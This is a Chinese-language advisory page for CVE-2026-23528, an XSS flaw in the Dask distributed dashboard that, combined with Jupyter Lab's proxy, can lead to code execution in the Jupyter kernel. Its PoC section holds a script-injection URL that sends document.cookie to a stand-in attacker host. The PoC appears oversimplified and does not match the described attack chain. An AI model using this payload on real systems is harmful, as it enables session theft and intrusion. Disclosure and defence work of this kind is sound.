CVE-2026-23528 CVSS 6.1 中危

CVE-2026-23528 Dask分布式任务调度器XSS漏洞

披露日期: 2026-01-16

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-23528

漏洞类型

XSS跨站脚本攻击

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Dask distributed, Jupyter Lab, jupyter-server-proxy

漏洞概述

Dask distributed是一个用于Python的分布式任务调度系统。在2026.1.0之前的版本中，当Jupyter Lab、jupyter-server-proxy和Dask distributed协同运行时，存在一个跨站脚本（XSS）漏洞。攻击者可以构造恶意URL，利用Dask dashboard中的XSS漏洞，通过Jupyter Lab代理打开错误页面，最终在受害者的默认Jupyter Python内核中执行任意代码。该漏洞需要用户交互才能触发，攻击者通常会诱导用户点击钓鱼链接，假设目标用户的Jupyter Lab和Dask运行在本地主机的默认端口上。

技术细节

漏洞源于Dask dashboard在处理用户输入时未正确过滤或转义特殊字符，攻击者可在URL参数中注入恶意JavaScript代码。当用户通过Jupyter Lab代理访问Dask dashboard时，注入的脚本会在受害者的浏览器上下文中执行，进而通过Jupyter的内核通信机制执行Python代码。攻击流程涉及多个组件的交互：用户点击恶意链接 → Jupyter Lab代理转发请求 → Dask dashboard返回包含恶意脚本的页面 → 脚本在用户浏览器中执行 → 通过Jupyter内核API执行任意Python代码。

攻击链分析

STEP 1

攻击者构造包含恶意JavaScript代码的钓鱼URL

STEP 2

用户点击恶意链接，通过Jupyter Lab代理访问Dask dashboard

STEP 3

Dask dashboard未正确过滤URL参数，返回包含恶意脚本的页面

STEP 4

恶意脚本在用户浏览器中执行，通过Jupyter内核API执行任意Python代码

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# 恶意URL构造
malicious_url = "http://localhost:8888/proxy/8787/?redirect=<script>fetch('http://attacker.com/exploit?cookie='+document.cookie)</script>"

# 发送恶意请求
response = requests.get(malicious_url)
print(f"Status: {response.status_code}")

影响范围

Dask distributed < 2026.1.0

防御指南

临时缓解措施

如果无法立即升级，可通过配置Jupyter Lab代理禁止转发包含特殊字符的请求，或在Dask dashboard前端实施输入验证

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表